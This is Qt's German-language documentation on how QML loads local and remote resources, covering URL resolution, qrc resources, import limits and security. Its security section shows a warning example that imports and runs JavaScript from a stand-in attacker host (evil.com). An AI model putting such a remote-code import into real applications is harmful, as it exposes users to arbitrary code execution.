Laden von Ressourcen und Netzwerktransparenz
QML unterstützt Netzwerktransparenz, indem es für alle Verweise aus einem QML-Dokument auf andere Inhalte URLs (anstelle von Dateinamen) verwendet. Das bedeutet, dass QML überall dort, wo eine URL-Quelle erwartet wird, sowohl Remote-Ressourcen als auch lokale Ressourcen verarbeiten kann, wie zum Beispiel in der folgenden Bildquelle:
Image {
source: "http://www.example.com/images/logo.png"
}Da eine relative URL mit einem relativen Dateipfad identisch ist, bleibt die Entwicklung von QML auf herkömmlichen Dateisystemen unkompliziert:
Image {
source: "images/logo.png"
}Netzwerktransparenz wird in ganz QML unterstützt; so ermöglichen beispielsweise sowohl das FontLoader - als auch das Image-Element das Laden von Ressourcen von einem Remote-Server.
Sogar QML-Typen selbst können sich im Netzwerk befinden: Wenn das qml-Tool zum Laden von http://example.com/mystuff/Hello.qml verwendet wird und dieser Inhalt auf einen Typ „World“ verweist, lädt die Engine http://example.com/mystuff/qmldir und löst den Typ genauso auf wie bei einer lokalen Datei. Enthält die qmldir-Datei beispielsweise die Zeile „World World.qml“, wird http://example.com/mystuff/World.qml geladen. Alle anderen Ressourcen, auf die Hello.qml verweist – in der Regel über eine relative URL –, würden ebenfalls aus dem Netzwerk geladen. Dasselbe gilt für entfernte JavaScript-Dateien, die mit WorkerScript verwendet werden.
Warnung: QML- und JavaScript-Ressourcen dürfen nur von vertrauenswürdigen Remote-Standorten geladen werden; siehe dazu die Hinweise zur Verarbeitung von Daten aus nicht vertrauenswürdigen Quellen.
Relative vs. absolute URLs
Wann immer ein Objekt eine Eigenschaft vom Typ URL (QUrl) besitzt, wird durch die Zuweisung einer Zeichenkette an diese Eigenschaft tatsächlich eine absolute URL zugewiesen – indem die Zeichenkette anhand der URL des Dokuments aufgelöst wird, in dem die Zeichenkette verwendet wird.
Betrachten Sie beispielsweise diesen Inhalt in http://example.com/mystuff/test.qml:
Image {
source: "images/logo.png"
}Der Eigenschaft „source“ von Image wird http://example.com/mystuff/images/logo.png zugewiesen, doch während der Entwicklung des QML, beispielsweise in C:\User\Fred\Documents\MyStuff\test.qml, wird ihr C:\User\Fred\Documents\MyStuff\images\logo.png zugewiesen.
Wenn die einer URL zugewiesene Zeichenkette bereits eine absolute URL ist, wird sie durch das „Auflösen“ nicht verändert und die URL wird direkt zugewiesen.
QRC-Ressourcen
Eines der in Qt integrierten URL-Schemas ist das „qrc“-Schema. Damit können Inhalte mithilfe des Qt-Ressourcensystems in die ausführbare Datei kompiliert werden. Auf diese Weise kann eine ausführbare Datei auf QML-Inhalte verweisen, die in die ausführbare Datei kompiliert wurden:
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));Der Inhalt selbst kann dann relative URLs verwenden und ist somit transparent davon unabhängig, dass er in die ausführbare Datei kompiliert wurde.
Einschränkungen
Die Anweisung „ import “ ist nur dann netzwerktransparent, wenn sie eine „as“-Klausel enthält.
Genauer gesagt:
import "dir"funktioniert nur auf lokalen Dateisystemenimport libraryUrifunktioniert nur auf lokalen Dateisystemenimport "dir" as Dfunktioniert netzwerktransparentimport libraryUrl as Ufunktioniert netzwerktransparent
Auswirkungen auf die Anwendungssicherheit
Das QML-Sicherheitsmodell basiert darauf, dass QML-Inhalte eine Kette vertrauenswürdiger Inhalte bilden: Der Benutzer installiert QML-Inhalte, denen er vertraut, genauso wie er native Qt-Anwendungen oder Programme installiert, die mit Laufzeitsystemen wie Python und Perl geschrieben wurden. Dieses Vertrauen wird durch verschiedene Mechanismen hergestellt, darunter die Möglichkeit der Paketsignierung auf einigen Plattformen.
Um das Vertrauen der Benutzer zu wahren, sollten QML-Anwendungsentwickler keine beliebigen JavaScript- oder QML-Ressourcen laden und ausführen. Betrachten Sie beispielsweise den folgenden QML-Code:
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
}Dies entspricht dem Herunterladen und Ausführen von „http://evil.com/evil.exe“. Die QML-Engine verhindert nicht, dass bestimmte Ressourcen geladen werden. Im Gegensatz zu JavaScript-Code, der in einem Webbrowser ausgeführt wird, kann eine QML-Anwendung Remote- oder lokale Dateisystemressourcen genauso laden wie jede andere native Anwendung; daher müssen Anwendungsentwickler beim Laden und Ausführen von Inhalten vorsichtig sein.
Wie bei jeder Anwendung, die auf Inhalte zugreift, die außerhalb ihrer Kontrolle liegen, sollte eine QML-Anwendung alle nicht vertrauenswürdigen Daten, die sie lädt, entsprechend prüfen. Verwenden Sie beispielsweise nicht import, Loader oder XMLHttpRequest, um nicht vertrauenswürdigen Code oder Inhalte zu laden.
© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.